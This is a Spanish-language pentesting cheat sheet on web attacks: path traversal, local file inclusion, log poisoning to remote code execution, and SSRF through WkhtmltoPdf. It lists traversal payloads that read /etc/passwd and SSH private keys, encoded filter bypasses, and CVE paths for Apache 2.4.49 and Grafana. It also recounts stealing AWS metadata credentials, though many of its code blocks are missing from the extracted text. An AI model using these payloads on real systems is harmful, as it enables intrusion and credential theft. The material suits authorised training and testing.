Page cover

user-hoodieWeb Attacks

Directory traversal / Path Traversal

circle-info

Directory traversal / Path Traversal: Podemos LEER archivos recorriendo diferentes rutas del servidor.

Linux

http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd 

http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa

// Apache 2.4.49

http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd 

http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd 

http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd 

http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

// Grafana 8.0.1 - https://github.com/jas502n/Grafana-CVE-2021-43798 

192.168.207.16:3000/public/plugins/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/opt/install.txt

// maquina boolean proving grounds

cwd=../../../../../../etc&file=passwd 

// otras rutas interesantes

/etc/apache2/sites-enabled/000-default.conf
/etc/apache2/.htpasswd
/var/log/auth.log

Windows

Top 25 vulnerable params

Burp Suite Filter History:


Local File Inclusion (LFI)

circle-info

LFI: Podemos cargar y ejecutar archivos en el contexto del usuario el cual está corriendo el servidor.

LFI TO RCE via Log Poisoning

circle-info

Esta técnica se centra en envenenar los logs con comandos para luego, al cargar dichos logs se interprete nuestro código y tengamos ejecución remota de comandos (RCE).

Rutas de logs:

Ejemplo en Linux:

  • Paso 1: Envenenar access.log

  • Paso 2: Ejecutar el código con curl

  • Paso 3: Reverse shell

circle-check

LFI en Windows:

circle-exclamation

LFI To RCE - Abusing /proc/self/fd/X + Log Poisoning

Video explicativo de Savitar: https://www.youtube.com/watch?v=4VnatIievBE&ab_channel=S4viOnLive%28BackupDirectosdeTwitch%29arrow-up-right

Finding private keys

En algunas situaciones no tenemos el fichero id_rsa, por lo que debemos consultar el authorized_keys y ver qué tipo de clave es:

Revisar que tipo de claves hay, si muestra ecdsa no va a ser id_rsa, va a ser id_ecdsa:

SSRF + LFI - WkhtmltoPdf

Crear un archivo php:

Levantar un server en php:

Lanzamos un curl donde en el body agregamos la url a nuestro servidor:

HTTP Response:

Luego visitamos la siguiente URL del PDF donde podemos ver a nuestro win.ini:

Otro payload útil:

WkhtmltoPdf - Pentest - Caso Real

A través de exiftool analizo el PDF que generaba la plataforma:

exiftool

En la petición donde se generaba el pdf, viajaba un campo HTML, donde podíamos insertar código HTML.

Al descargar el archivo PDF generado vemos el iframe que realizó una solicitud a mi Burp Collaborator confirmando el SSRF:

SSRF en PDF

Luego intentamos obtener información de la metadata de la instancia de AWS:

Por último, nos traemos la información necesaria para autenticarnos a AWS:

Finalmente nos autenticamos con awscli. El archivo de configuración se encuentra en `~/.aws/credentials` y debería tener el siguiente formato:

Recordar que es una credencial temporal, y debemos agregar el token de sesión.

De aquí ya empieza la enumeración de AWS que ya es otra historia. Pero la cosa no termina aquí, esta librería también era vulnerable a LFI:

Última actualización